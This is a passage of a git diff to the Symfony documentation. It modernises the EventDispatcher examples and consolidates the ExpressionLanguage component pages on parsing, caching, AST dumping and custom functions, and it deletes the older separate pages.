``event_dispatcher``, that event listeners are tagged with the ``kernel.event_listener`` tag, that event subscribers are tagged with the ``kernel.event_subscriber`` tag and that the alias mapping is - stored as parameter ``event_dispatcher.event_aliases``. You can change these - default values by passing custom values to the constructors of - ``RegisterListenersPass`` and ``AddEventAliasesPass``. + stored as parameter ``event_dispatcher.event_aliases``. .. _event_dispatcher-closures-as-listeners: -.. index:: - single: EventDispatcher; Creating and dispatching an event - Creating and Dispatching an Event ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -280,7 +246,7 @@ system flexible and decoupled. Creating an Event Class ....................... -Suppose you want to create a new event - ``order.placed`` - that is dispatched +Suppose you want to create a new event that is dispatched each time a customer orders a product with your application. When dispatching this event, you'll pass a custom event instance that has access to the placed order. Start by creating this custom event class and documenting it:: @@ -291,21 +257,14 @@ order. Start by creating this custom event class and documenting it:: use Symfony\Contracts\EventDispatcher\Event; /** - * The order.placed event is dispatched each time an order is created - * in the system. + * This event is dispatched each time an order + * is placed in the system. */ - class OrderPlacedEvent extends Event + final class OrderPlacedEvent extends Event { - public const NAME = 'order.placed'; - - protected $order; + public function __construct(private Order $order) {} - public function __construct(Order $order) - { - $this->order = $order; - } - - public function getOrder() + public function getOrder(): Order { return $this->order; } @@ -313,22 +272,14 @@ order. Start by creating this custom event class and documenting it:: Each listener now has access to the order via the ``getOrder()`` method. -.. note:: - - If you don't need to pass any additional data to the event listeners, you - can also use the default - :class:`Symfony\\Contracts\\EventDispatcher\\Event` class. In such case, - you can document the event and its name in a generic ``StoreEvents`` class, - similar to the :class:`Symfony\\Component\\HttpKernel\\KernelEvents` - class. - Dispatch the Event .................. The :method:`Symfony\\Component\\EventDispatcher\\EventDispatcher::dispatch` method notifies all listeners of the given event. It takes two arguments: -the ``Event`` instance to pass to each listener of that event and the name -of the event to dispatch:: +the ``Event`` instance to pass to each listener of that event and optionally the +name of the event to dispatch. If it's not defined, the class of the ``Event`` +instance will be used:: use Acme\Store\Event\OrderPlacedEvent; use Acme\Store\Order; @@ -339,14 +290,37 @@ of the event to dispatch:: // creates the OrderPlacedEvent and dispatches it $event = new OrderPlacedEvent($order); - $dispatcher->dispatch($event, OrderPlacedEvent::NAME); + $dispatcher->dispatch($event); Notice that the special ``OrderPlacedEvent`` object is created and passed to -the ``dispatch()`` method. Now, any listener to the ``order.placed`` +the ``dispatch()`` method. Now, any listener to the ``OrderPlacedEvent::class`` event will receive the ``OrderPlacedEvent``. -.. index:: - single: EventDispatcher; Event subscribers +.. note:: + + If you don't need to pass any additional data to the event listeners, you + can also use the default + :class:`Symfony\\Contracts\\EventDispatcher\\Event` class. In such case, + you can document the event and its name in a generic ``StoreEvents`` class, + similar to the :class:`Symfony\\Component\\HttpKernel\\KernelEvents` + class:: + + namespace App\Event; + + class StoreEvents { + + /** + * @Event("Symfony\Contracts\EventDispatcher\Event") + */ + public const ORDER_PLACED = 'order.placed'; + } + + And use the :class:`Symfony\\Contracts\\EventDispatcher\\Event` class to + dispatch the event:: + + use Symfony\Contracts\EventDispatcher\Event; + + $this->eventDispatcher->dispatch(new Event(), StoreEvents::ORDER_PLACED); .. _event_dispatcher-using-event-subscribers: @@ -364,7 +338,7 @@ events it should subscribe to. It implements the interface, which requires a single static method called :method:`Symfony\\Component\\EventDispatcher\\EventSubscriberInterface::getSubscribedEvents`. Take the following example of a subscriber that subscribes to the -``kernel.response`` and ``order.placed`` events:: +``kernel.response`` and ``OrderPlacedEvent::class`` events:: namespace Acme\Store\Event; @@ -375,29 +349,30 @@ Take the following example of a subscriber that subscribes to the class StoreSubscriber implements EventSubscriberInterface { - public static function getSubscribedEvents() + public static function getSubscribedEvents(): array { return [ KernelEvents::RESPONSE => [ ['onKernelResponsePre', 10], ['onKernelResponsePost', -10], ], - OrderPlacedEvent::NAME => 'onStoreOrder', + OrderPlacedEvent::class => 'onPlacedOrder', ]; } - public function onKernelResponsePre(ResponseEvent $event) + public function onKernelResponsePre(ResponseEvent $event): void { // ... } - public function onKernelResponsePost(ResponseEvent $event) + public function onKernelResponsePost(ResponseEvent $event): void { // ... } - public function onStoreOrder(OrderPlacedEvent $event) + public function onPlacedOrder(OrderPlacedEvent $event): void { + $order = $event->getOrder(); // ... } } @@ -427,9 +402,6 @@ example, when the ``kernel.response`` event is triggered, the methods ``onKernelResponsePre()`` and ``onKernelResponsePost()`` are called in that order. -.. index:: - single: EventDispatcher; Stopping event flow - .. _event_dispatcher-event-propagation: Stopping Event Flow/Propagation @@ -444,14 +416,14 @@ inside a listener via the use Acme\Store\Event\OrderPlacedEvent; - public function onStoreOrder(OrderPlacedEvent $event) + public function onPlacedOrder(OrderPlacedEvent $event): void { // ... $event->stopPropagation(); } -Now, any listeners to ``order.placed`` that have not yet been called will +Now, any listeners to ``OrderPlacedEvent::class`` that have not yet been called will *not* be called. It is possible to detect if an event was stopped by using the @@ -464,9 +436,6 @@ method which returns a boolean value:: // ... } -.. index:: - single: EventDispatcher; EventDispatcher aware events and listeners - .. _event_dispatcher-dispatcher-aware-events: EventDispatcher Aware Events and Listeners @@ -477,9 +446,6 @@ name and a reference to itself to the listeners. This can lead to some advanced applications of the ``EventDispatcher`` including dispatching other events inside listeners, chaining events or even lazy loading listeners into the dispatcher object. -.. index:: - single: EventDispatcher; Event name introspection - .. _event_dispatcher-event-name-introspection: Event Name Introspection @@ -491,9 +457,9 @@ is dispatched, are passed as arguments to the listener:: use Symfony\Contracts\EventDispatcher\Event; use Symfony\Contracts\EventDispatcher\EventDispatcherInterface; - class Foo + class MyListener { - public function myEventListener(Event $event, $eventName, EventDispatcherInterface $dispatcher) + public function myEventListener(Event $event, string $eventName, EventDispatcherInterface $dispatcher): void { // ... do something with the event name } @@ -511,17 +477,11 @@ with some other dispatchers: Learn More ---------- -.. toctree:: - :maxdepth: 1 - :glob: - - /components/event_dispatcher/* - /event_dispatcher/* - +* :doc:`/components/event_dispatcher/generic_event` * :ref:`The kernel.event_listener tag <dic-tags-kernel-event-listener>` * :ref:`The kernel.event_subscriber tag <dic-tags-kernel-event-subscriber>` .. _Mediator: https://en.wikipedia.org/wiki/Mediator_pattern .. _Observer: https://en.wikipedia.org/wiki/Observer_pattern .. _Closures: https://www.php.net/manual/en/functions.anonymous.php -.. _PHP callable: https://www.php.net/manual/en/language.pseudo-types.php#language.types.callback +.. _PHP callable: https://www.php.net/manual/en/language.types.callable.php diff --git a/components/event_dispatcher/container_aware_dispatcher.rst b/components/event_dispatcher/container_aware_dispatcher.rst deleted file mode 100644 index 659a94cee7a..00000000000 --- a/components/event_dispatcher/container_aware_dispatcher.rst +++ /dev/null @@ -1,10 +0,0 @@ -.. index:: - single: EventDispatcher; Service container aware - -The Container Aware Event Dispatcher -==================================== - -.. caution:: - - The ``ContainerAwareEventDispatcher`` was removed in Symfony 4.0. Use - ``EventDispatcher`` with closure-proxy injection instead. diff --git a/components/event_dispatcher/generic_event.rst b/components/event_dispatcher/generic_event.rst index 1f9be477151..41d0a9d66a4 100644 --- a/components/event_dispatcher/generic_event.rst +++ b/components/event_dispatcher/generic_event.rst @@ -1,6 +1,3 @@ -.. index:: - single: EventDispatcher - The Generic Event Object ======================== @@ -57,7 +54,7 @@ Passing a subject:: class FooListener { - public function handler(GenericEvent $event) + public function handler(GenericEvent $event): void { if ($event->getSubject() instanceof Foo) { // ... @@ -78,9 +75,9 @@ access the event arguments:: class FooListener { - public function handler(GenericEvent $event) + public function handler(GenericEvent $event): void { - if (isset($event['type']) && $event['type'] === 'foo') { + if (isset($event['type']) && 'foo' === $event['type']) { // ... do something } @@ -97,9 +94,8 @@ Filtering data:: class FooListener { - public function filter(GenericEvent $event) + public function filter(GenericEvent $event): void { $event['data'] = strtolower($event['data']); } } - diff --git a/components/event_dispatcher/immutable_dispatcher.rst b/components/event_dispatcher/immutable_dispatcher.rst index 25940825065..a6a98c47f37 100644 --- a/components/event_dispatcher/immutable_dispatcher.rst +++ b/components/event_dispatcher/immutable_dispatcher.rst @@ -1,6 +1,3 @@ -.. index:: - single: EventDispatcher; Immutable - The Immutable Event Dispatcher ============================== @@ -16,9 +13,10 @@ To use it, first create a normal ``EventDispatcher`` dispatcher and register some listeners or subscribers:: use Symfony\Component\EventDispatcher\EventDispatcher; + use Symfony\Contracts\EventDispatcher\Event; $dispatcher = new EventDispatcher(); - $dispatcher->addListener('foo.action', function ($event) { + $dispatcher->addListener('foo.action', function (Event $event): void { // ... }); diff --git a/components/event_dispatcher/traceable_dispatcher.rst b/components/event_dispatcher/traceable_dispatcher.rst index 33a98a2336b..7b3819e3a48 100644 --- a/components/event_dispatcher/traceable_dispatcher.rst +++ b/components/event_dispatcher/traceable_dispatcher.rst @@ -1,7 +1,3 @@ -.. index:: - single: EventDispatcher; Debug - single: EventDispatcher; Traceable - The Traceable Event Dispatcher ============================== diff --git a/components/expression_language.rst b/components/expression_language.rst index edd3587aa6d..b0dd10b0f42 100644 --- a/components/expression_language.rst +++ b/components/expression_language.rst @@ -1,7 +1,3 @@ -.. index:: - single: Expressions - Single: Components; Expression Language - The ExpressionLanguage Component ================================ @@ -18,12 +14,14 @@ Installation .. include:: /components/require_autoload.rst.inc -How can the Expression Engine Help Me? --------------------------------------- +.. _how-can-the-expression-engine-help-me: + +How can the Expression Language Help Me? +---------------------------------------- The purpose of the component is to allow users to use expressions inside -configuration for more complex logic. For some examples, the Symfony Framework -uses expressions in security, for validation rules and in route matching. +configuration for more complex logic. For example, the Symfony Framework uses +expressions in security, for validation rules and in route matching. Besides using the component in the framework itself, the ExpressionLanguage component is a perfect candidate for the foundation of a *business rule engine*. @@ -43,9 +41,10 @@ way without using PHP and without introducing security problems: # Send an alert when product.stock < 15 -Expressions can be seen as a very restricted PHP sandbox and are immune to -external injections as you must explicitly declare which variables are available -in an expression. +Expressions can be seen as a very restricted PHP sandbox and are less vulnerable +to external injections because you must explicitly declare which variables are +available in an expression (but you should still sanitize any data given by end +users and passed to expressions). Usage ----- @@ -73,11 +72,66 @@ The main class of the component is var_dump($expressionLanguage->compile('1 + 2')); // displays (1 + 2) -Expression Syntax ------------------ +.. tip:: + + See :doc:`/reference/formats/expression_language` to learn the syntax of + the ExpressionLanguage component. + +Null Coalescing Operator +........................ + +.. note:: + + This content has been moved to the :ref:`null coalescing operator <component-expression-null-coalescing-operator>` + section of ExpressionLanguage syntax reference page. + +Parsing and Linting Expressions +............................... + +The ExpressionLanguage component provides a way to parse and lint expressions. +The :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse` +method returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression` +instance that can be used to inspect and manipulate the expression. The +:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::lint`, on the +other hand, throws a :class:`Symfony\\Component\\ExpressionLanguage\\SyntaxError` +if the expression is not valid:: + + use Symfony\Component\ExpressionLanguage\ExpressionLanguage; + + $expressionLanguage = new ExpressionLanguage(); + + var_dump($expressionLanguage->parse('1 + 2', [])); + // displays the AST nodes of the expression which can be + // inspected and manipulated + + $expressionLanguage->lint('1 + 2', []); // doesn't throw anything + + $expressionLanguage->lint('1 + a', []); + // throws a SyntaxError exception: + // "Variable "a" is not valid around position 5 for expression `1 + a`." + +The behavior of these methods can be configured with some flags defined in the +:class:`Symfony\\Component\\ExpressionLanguage\\Parser` class: + +* ``IGNORE_UNKNOWN_VARIABLES``: don't throw an exception if a variable is not + defined in the expression; +* ``IGNORE_UNKNOWN_FUNCTIONS``: don't throw an exception if a function is not + defined in the expression. + +This is how you can use these flags:: + + use Symfony\Component\ExpressionLanguage\ExpressionLanguage; + use Symfony\Component\ExpressionLanguage\Parser; + + $expressionLanguage = new ExpressionLanguage(); + + // does not throw a SyntaxError because the unknown variables and functions are ignored + $expressionLanguage->lint('unknown_var + unknown_function()', [], Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS); + +.. versionadded:: 7.1 -See :doc:`/components/expression_language/syntax` to learn the syntax of the -ExpressionLanguage component. + The support for flags in the ``parse()`` and ``lint()`` methods + was introduced in Symfony 7.1. Passing in Variables -------------------- @@ -91,7 +145,7 @@ PHP type (including objects):: class Apple { - public $variety; + public string $variety; } $apple = new Apple(); @@ -104,35 +158,262 @@ PHP type (including objects):: ] )); // displays "Honeycrisp" -For more information, see the :doc:`/components/expression_language/syntax` -entry, especially :ref:`component-expression-objects` and :ref:`component-expression-arrays`. +When using this component inside a Symfony application, certain objects and +variables are automatically injected by Symfony so you can use them in your +expressions (e.g. the request, the current user, etc.): -.. caution:: +* :doc:`Variables available in security expressions </security/expressions>`; +* :doc:`Variables available in service container expressions </service_container/expression_language>`; +* :ref:`Variables available in routing expressions <routing-matching-expressions>`. - When using variables in expressions, avoid passing untrusted data into the - array of variables. If you can't avoid that, sanitize non-alphanumeric - characters in untrusted data to prevent malicious users from injecting - control characters and altering the expression. +.. _expression-language-caching: Caching ------- -The component provides some different caching strategies, read more about them -in :doc:`/components/expression_language/caching`. +The ExpressionLanguage component provides a +:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::compile` +method to be able to cache the expressions in plain PHP. But internally, the +component also caches the parsed expressions, so duplicated expressions can be +compiled/evaluated quicker. + +The Workflow +~~~~~~~~~~~~ + +Both :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::evaluate` +and ``compile()`` need to do some things before each can provide the return +values. For ``evaluate()``, this overhead is even bigger. + +Both methods need to tokenize and parse the expression. This is done by the +:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse` +method. It returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression`. +Now, the ``compile()`` method just returns the string conversion of this object. +The ``evaluate()`` method needs to loop through the "nodes" (pieces of an +expression saved in the ``ParsedExpression``) and evaluate them on the fly. + +To save time, the ``ExpressionLanguage`` caches the ``ParsedExpression`` so +it can skip the tokenization and parsing steps with duplicate expressions. The +caching is done by a PSR-6 `CacheItemPoolInterface`_ instance (by default, it +uses an :class:`Symfony\\Component\\Cache\\Adapter\\ArrayAdapter`). You can +customize this by creating a custom cache pool or using one of the available +ones and injecting this using the constructor:: + + use Symfony\Component\Cache\Adapter\RedisAdapter; + use Symfony\Component\ExpressionLanguage\ExpressionLanguage; + + $cache = new RedisAdapter(...); + $expressionLanguage = new ExpressionLanguage($cache); + +.. seealso:: + + See the :doc:`/components/cache` documentation for more information about + available cache adapters. + +Using Parsed and Serialized Expressions +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Both ``evaluate()`` and ``compile()`` can handle ``ParsedExpression`` and +``SerializedParsedExpression``:: + + // ... + + // the parse() method returns a ParsedExpression + $expression = $expressionLanguage->parse('1 + 4', []); + + var_dump($expressionLanguage->evaluate($expression)); // prints 5 + +.. code-block:: php + + use Symfony\Component\ExpressionLanguage\SerializedParsedExpression; + // ... + + $expression = new SerializedParsedExpression( + '1 + 4', + serialize($expressionLanguage->parse('1 + 4', [])->getNodes()) + ); + + var_dump($expressionLanguage->evaluate($expression)); // prints 5 + +.. _expression-language-ast: AST Dumping and Editing ----------------------- -The AST (*Abstract Syntax Tree*) of expressions can be dumped and manipulated -as explained in :doc:`/components/expression_language/ast`. +It's difficult to manipulate or inspect the expressions created with the ExpressionLanguage +component, because the expressions are plain strings. A better approach is to +turn those expressions into an AST. In computer science, `AST`_ (*Abstract +Syntax Tree*) is *"a tree representation of the structure of source code written +in a programming language"*. In Symfony, an ExpressionLanguage AST is a set of +nodes that contain PHP classes representing the given expression. + +Dumping the AST +~~~~~~~~~~~~~~~ + +Call the :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::getNodes` +method after parsing any expression to get its AST:: + + use Symfony\Component\ExpressionLanguage\ExpressionLanguage; + + $ast = (new ExpressionLanguage()) + ->parse('1 + 2', []) + ->getNodes() + ; + + // dump the AST nodes for inspection + var_dump($ast); + + // dump the AST nodes as a string representation + $astAsString = $ast->dump(); + +Manipulating the AST +~~~~~~~~~~~~~~~~~~~~ + +The nodes of the AST can also be dumped into a PHP array of nodes to allow +manipulating them. Call the :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::toArray` +method to turn the AST into an array:: + + // ... + + $astAsArray = (new ExpressionLanguage()) + ->parse('1 + 2', []) + ->getNodes() + ->toArray() + ; + +.. _expression-language-extending: + +Extending the ExpressionLanguage +-------------------------------- + +The ExpressionLanguage can be extended by adding custom functions. For +instance, in the Symfony Framework, the security has custom functions to check +the user's role. + +.. note:: + + If you want to learn how to use functions in an expression, read + ":ref:`component-expression-functions`". + +Registering Functions +~~~~~~~~~~~~~~~~~~~~~ + +Functions are registered on each specific ``ExpressionLanguage`` instance. +That means the functions can be used in any expression executed by that +instance. + +To register a function, use +:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::register`. +This method has 3 arguments: + +* **name** - The name of the function in an expression; +* **compiler** - A function executed when compiling an expression using the + function; +* **evaluator** - A function executed when the expression is evaluated. + +Example:: + + use Symfony\Component\ExpressionLanguage\ExpressionLanguage; + + $expressionLanguage = new ExpressionLanguage(); + $expressionLanguage->register('lowercase', function ($str): string { + return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str); + }, function ($arguments, $str): string { + if (!is_string($str)) { + return $str; + } + + return strtolower($str); + }); + + var_dump($expressionLanguage->evaluate('lowercase("HELLO")')); + // this will print: hello + +In addition to the custom function arguments, the **evaluator** is passed an +``arguments`` variable as its first argument, which is equal to the second +argument of ``evaluate()`` (e.g. the "values" when evaluating an expression). + +.. _components-expression-language-provider: + +Using Expression Providers +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When you use the ``ExpressionLanguage`` class in your library, you often want +to add custom functions. To do so, you can create a new expression provider by +creating a class that implements +:class:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunctionProviderInterface`. + +This interface requires one method: +:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunctionProviderInterface::getFunctions`, +which returns an array of expression functions (instances of +:class:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunction`) to +register:: + + use Symfony\Component\ExpressionLanguage\ExpressionFunction; + use Symfony\Component\ExpressionLanguage\ExpressionFunctionProviderInterface; + + class StringExpressionLanguageProvider implements ExpressionFunctionProviderInterface + { + public function getFunctions(): array + { + return [ + new ExpressionFunction('lowercase', function ($str): string { + return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str); + }, function ($arguments, $str): string { + if (!is_string($str)) { + return $str; + } + + return strtolower($str); + }), + ]; + } + } + +.. tip:: + + To create an expression function from a PHP function with the + :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunction::fromPhp` static method:: + + ExpressionFunction::fromPhp('strtoupper'); + + Namespaced functions are supported, but they require a second argument to + define the name of the expression:: + + ExpressionFunction::fromPhp('My\strtoupper', 'my_strtoupper'); + +You can register providers using +:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::registerProvider` +or by using the second argument of the constructor:: + + use Symfony\Component\ExpressionLanguage\ExpressionLanguage; + + // using the constructor + $expressionLanguage = new ExpressionLanguage(null, [ + new StringExpressionLanguageProvider(), + // ... + ]); + + // using registerProvider() + $expressionLanguage->registerProvider(new StringExpressionLanguageProvider()); + +.. tip:: + + It is recommended to create your own ``ExpressionLanguage`` class in your + library. Now you can add the extension by overriding the constructor:: + + use Psr\Cache\CacheItemPoolInterface; + use Symfony\Component\ExpressionLanguage\ExpressionLanguage as BaseExpressionLanguage; -Learn More ----------- + class ExpressionLanguage extends BaseExpressionLanguage + { + public function __construct(?CacheItemPoolInterface $cache = null, array $providers = []) + { + // prepends the default provider to let users override it + array_unshift($providers, new StringExpressionLanguageProvider()); -.. toctree:: - :maxdepth: 1 - :glob: + parent::__construct($cache, $providers); + } + } - /components/expression_language/* - /service_container/expression_language - /reference/constraints/Expression +.. _`AST`: https://en.wikipedia.org/wiki/Abstract_syntax_tree +.. _`CacheItemPoolInterface`: https://github.com/php-fig/cache/blob/master/src/CacheItemPoolInterface.php diff --git a/components/expression_language/ast.rst b/components/expression_language/ast.rst deleted file mode 100644 index 0f15c20647a..00000000000 --- a/components/expression_language/ast.rst +++ /dev/null @@ -1,49 +0,0 @@ -.. index:: - single: AST; ExpressionLanguage - single: AST; Abstract Syntax Tree - -Dumping and Manipulating the AST of Expressions -=============================================== - -Manipulating or inspecting the expressions created with the ExpressionLanguage -component is difficult because they are plain strings. A better approach is to -turn those expressions into an AST. In computer science, `AST`_ (*Abstract -Syntax Tree*) is *"a tree representation of the structure of source code written -in a programming language"*. In Symfony, a ExpressionLanguage AST is a set of -nodes that contain PHP classes representing the given expression. - -Dumping the AST ---------------- - -Call the :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::getNodes` -method after parsing any expression to get its AST:: - - use Symfony\Component\ExpressionLanguage\ExpressionLanguage; - - $ast = (new ExpressionLanguage()) - ->parse('1 + 2', []) - ->getNodes() - ; - - // dump the AST nodes for inspection - var_dump($ast); - - // dump the AST nodes as a string representation - $astAsString = $ast->dump(); - -Manipulating the AST --------------------- - -The nodes of the AST can also be dumped into a PHP array of nodes to allow -manipulating them. Call the :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::toArray` -method to turn the AST into an array:: - - // ... - - $astAsArray = (new ExpressionLanguage()) - ->parse('1 + 2', []) - ->getNodes() - ->toArray() - ; - -.. _`AST`: https://en.wikipedia.org/wiki/Abstract_syntax_tree diff --git a/components/expression_language/caching.rst b/components/expression_language/caching.rst deleted file mode 100644 index 770c2768ca5..00000000000 --- a/components/expression_language/caching.rst +++ /dev/null @@ -1,70 +0,0 @@ -.. index:: - single: Caching; ExpressionLanguage - -Caching Expressions Using Parser Caches -======================================= - -The ExpressionLanguage component already provides a -:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::compile` -method to be able to cache the expressions in plain PHP. But internally, the -component also caches the parsed expressions, so duplicated expressions can be -compiled/evaluated quicker. - -The Workflow ------------- - -Both :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::evaluate` -and ``compile()`` need to do some things before each can provide the return -values. For ``evaluate()``, this overhead is even bigger. - -Both methods need to tokenize and parse the expression. This is done by the -:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse` -method. It returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression`. -Now, the ``compile()`` method just returns the string conversion of this object. -The ``evaluate()`` method needs to loop through the "nodes" (pieces of an -expression saved in the ``ParsedExpression``) and evaluate them on the fly. - -To save time, the ``ExpressionLanguage`` caches the ``ParsedExpression`` so -it can skip the tokenize and parse steps with duplicate expressions. The -caching is done by a PSR-6 `CacheItemPoolInterface`_ instance (by default, it -uses an :class:`Symfony\\Component\\Cache\\Adapter\\ArrayAdapter`). You can -customize this by creating a custom cache pool or using one of the available -ones and injecting this using the constructor:: - - use Symfony\Component\Cache\Adapter\RedisAdapter; - use Symfony\Component\ExpressionLanguage\ExpressionLanguage; - - $cache = new RedisAdapter(...); - $expressionLanguage = new ExpressionLanguage($cache); - -.. seealso:: - - See the :doc:`/components/cache` documentation for more information about - available cache adapters. - -Using Parsed and Serialized Expressions ---------------------------------------- - -Both ``evaluate()`` and ``compile()`` can handle ``ParsedExpression`` and -``SerializedParsedExpression``:: - - // ... - - // the parse() method returns a ParsedExpression - $expression = $expressionLanguage->parse('1 + 4', []); - - var_dump($expressionLanguage->evaluate($expression)); // prints 5 - -.. code-block:: php - - use Symfony\Component\ExpressionLanguage\SerializedParsedExpression; - // ... - - $expression = new SerializedParsedExpression( - '1 + 4', - serialize($expressionLanguage->parse('1 + 4', [])->getNodes()) - ); - - var_dump($expressionLanguage->evaluate($expression)); // prints 5 - -.. _`CacheItemPoolInterface`: https://github.com/php-fig/cache/blob/master/src/CacheItemPoolInterface.php diff --git a/components/expression_language/extending.rst b/components/expression_language/extending.rst deleted file mode 100644 index 787d0f61d31..00000000000 --- a/components/expression_language/extending.rst +++ /dev/null @@ -1,136 +0,0 @@ -.. index:: - single: Extending; ExpressionLanguage - -Extending the ExpressionLanguage -================================ - -The ExpressionLanguage can be extended by adding custom functions. For -instance, in the Symfony Framework, the security has custom functions to check -the user's role. - -.. note:: - - If you want to learn how to use functions in an expression, read - ":ref:`component-expression-functions`". - -Registering Functions ---------------------- - -Functions are registered on each specific ``ExpressionLanguage`` instance. -That means the functions can be used in any expression executed by that -instance. - -To register a function, use -:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::register`. -This method has 3 arguments: - -* **name** - The name of the function in an expression; -* **compiler** - A function executed when compiling an expression using the - function; -* **evaluator** - A function executed when the expression is evaluated. - -Example:: - - use Symfony\Component\ExpressionLanguage\ExpressionLanguage; - - $expressionLanguage = new ExpressionLanguage(); - $expressionLanguage->register('lowercase', function ($str) { - return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str); - }, function ($arguments, $str) { - if (!is_string($str)) { - return $str; - } - - return strtolower($str); - }); - - var_dump($expressionLanguage->evaluate('lowercase("HELLO")')); - // this will print: hello - -In addition to the custom function arguments, the **evaluator** is passed an -``arguments`` variable as its first argument, which is equal to the second -argument of ``evaluate()`` (e.g. the "values" when evaluating an expression). - -.. _components-expression-language-provider: - -Using Expression Providers --------------------------- - -When you use the ``ExpressionLanguage`` class in your library, you often want -to add custom functions. To do so, you can create a new expression provider by -creating a class that implements -:class:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunctionProviderInterface`. - -This interface requires one method: -:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunctionProviderInterface::getFunctions`, -which returns an array of expression functions (instances of -:class:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunction`) to -register:: - - use Symfony\Component\ExpressionLanguage\ExpressionFunction; - use Symfony\Component\ExpressionLanguage\ExpressionFunctionProviderInterface; - - class StringExpressionLanguageProvider implements ExpressionFunctionProviderInterface - { - public function getFunctions() - { - return [ - new ExpressionFunction('lowercase', function ($str) { - return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str); - }, function ($arguments, $str) { - if (!is_string($str)) { - return $str; - } - - return strtolower($str); - }), - ]; - } - } - -.. tip:: - - To create an expression function from a PHP function with the - :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunction::fromPhp` static method:: - - ExpressionFunction::fromPhp('strtoupper'); - - Namespaced functions are supported, but they require a second argument to - define the name of the expression:: - - ExpressionFunction::fromPhp('My\strtoupper', 'my_strtoupper'); - -You can register providers using -:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::registerProvider` -or by using the second argument of the constructor:: - - use Symfony\Component\ExpressionLanguage\ExpressionLanguage; - - // using the constructor - $expressionLanguage = new ExpressionLanguage(null, [ - new StringExpressionLanguageProvider(), - // ... - ]); - - // using registerProvider() - $expressionLanguage->registerProvider(new StringExpressionLanguageProvider()); - -.. tip:: - - It is recommended to create your own ``ExpressionLanguage`` class in your - library. Now you can add the extension by overriding the constructor:: - - use Psr\Cache\CacheItemPoolInterface; - use Symfony\Component\ExpressionLanguage\ExpressionLanguage as BaseExpressionLanguage; - - class ExpressionLanguage extends BaseExpressionLanguage - { - public function __construct(CacheItemPoolInterface $cache = null, array $providers = []) - { - // prepends the default provider to let users override it - array_unshift($providers, new StringExpressionLanguageProvider()); - - parent::__construct($cache, $providers); - } - } - diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst deleted file mode 100644 index 045451491f5..00000000000 --- a/components/expression_language/syntax.rst +++ /dev/null @@ -1,322 +0,0 @@ -.. index:: - single: Syntax; ExpressionLanguage - -The Expression Syntax -===================== - -The ExpressionLanguage component uses a specific syntax which is based on the -expression syntax of Twig. In this document, you can find all supported -syntaxes. - -Supported Literals ------------------- - -The component supports: - -* **strings** - single and double quotes (e.g. ``'hello'``) -* **numbers** - e.g. ``103`` -* **arrays** - using JSON-like notation (e.g. ``[1, 2]``) -* **hashes** - using JSON-like notation (e.g. ``{ foo: 'bar' }``) -* **booleans** - ``true`` and ``false`` -* **null** - ``null`` -* **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``) - -.. caution:: - - A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string - and 8 backslashes (``\\\\\\\\``) in a regex:: - - echo $expressionLanguage->evaluate('"\\\\"'); // prints \ - $expressionLanguage->evaluate('"a\\\\b" matches "/^a\\\\\\\\b$/"'); // returns true - - Control characters (e.g. ``\n``) in expressions are replaced with - whitespace. To avoid this, escape the sequence with a single backslash - (e.g. ``\\n``). - -.. _component-expression-objects: - -Working with Objects --------------------- - -When passing objects into an expression, you can use different syntaxes to -access properties and call methods on the object. - -Accessing Public Properties -~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Public properties on objects can be accessed by using the ``.`` syntax, similar -to JavaScript:: - - class Apple - { - public $variety; - } - - $apple = new Apple(); - $apple->variety = 'Honeycrisp'; - - var_dump($expressionLanguage->evaluate( - 'fruit.variety', - [ - 'fruit' => $apple, - ] - )); - -This will print out ``Honeycrisp``. - -Calling Methods -~~~~~~~~~~~~~~~ - -The ``.`` syntax can also be used to call methods on an object, similar to -JavaScript:: - - class Robot - { - public function sayHi($times) - { - $greetings = []; - for ($i = 0; $i < $times; $i++) { - $greetings[] = 'Hi'; - } - - return implode(' ', $greetings).'!'; - } - } - - $robot = new Robot(); - - var_dump($expressionLanguage->evaluate( - 'robot.sayHi(3)', - [ - 'robot' => $robot, - ] - )); - -This will print out ``Hi Hi Hi!``. - -.. _component-expression-functions: - -Working with Functions ----------------------- - -You can also use registered functions in the expression by using the same -syntax as PHP and JavaScript. The ExpressionLanguage component comes with one -function by default: ``constant()``, which will return the value of the PHP -constant:: - - 